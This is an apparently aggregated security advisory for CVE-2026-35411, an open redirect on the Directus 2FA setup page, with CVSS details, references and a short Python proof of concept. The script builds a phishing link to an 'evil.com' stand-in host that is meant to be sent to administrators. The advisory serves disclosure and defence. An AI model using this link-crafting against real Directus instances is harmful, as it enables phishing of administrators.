CVE-2026-35411

Description

Directus is a real-time API and App dashboard for managing SQL database content. Prior to 11.16.1, Directus is vulnerable to an open redirect via the redirect query parameter on the /admin/tfa-setup page. When an administrator who has not yet configured Two-Factor Authentication (2FA) visits a crafted URL, they are presented with the legitimate Directus 2FA setup page. After completing the setup process, the application redirects the user to the attacker-controlled URL specified in the redirect parameter without any validation. This vulnerability could be used in phishing attacks targeting Directus administrators, as the initial interaction occurs on a trusted domain. This vulnerability is fixed in 11.16.1.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:monospace:directus:*:*:*:*:*:node.js:*:* - VULNERABLE

Directus < 11.16.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC Concept for CVE-2026-35411
# Description: Demonstrates the open redirect vulnerability.

def generate_poc(target_domain, malicious_url):
    # The vulnerable endpoint is /admin/tfa-setup
    # The vulnerable parameter is 'redirect'
    
    base_url = f"{target_domain}/admin/tfa-setup"
    exploit_url = f"{base_url}?redirect={malicious_url}"
    
    return exploit_url

if __name__ == "__main__":
    target = "http://directus.example.com"
    evil = "http://evil.com/phishing"
    print(f"[+] Link to send to admin: {generate_poc(target, evil)}")
    # Expected behavior: Admin visits link -> Sets up 2FA -> Redirected to evil.com

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-35411
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-35411
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-35411/
[4] VulDB https://vuldb.com/cve/CVE-2026-35411
[5] https://github.com/directus/directus/security/advisories/GHSA-q75c-4gmv-mg9x

Raw JSON Data

JSON

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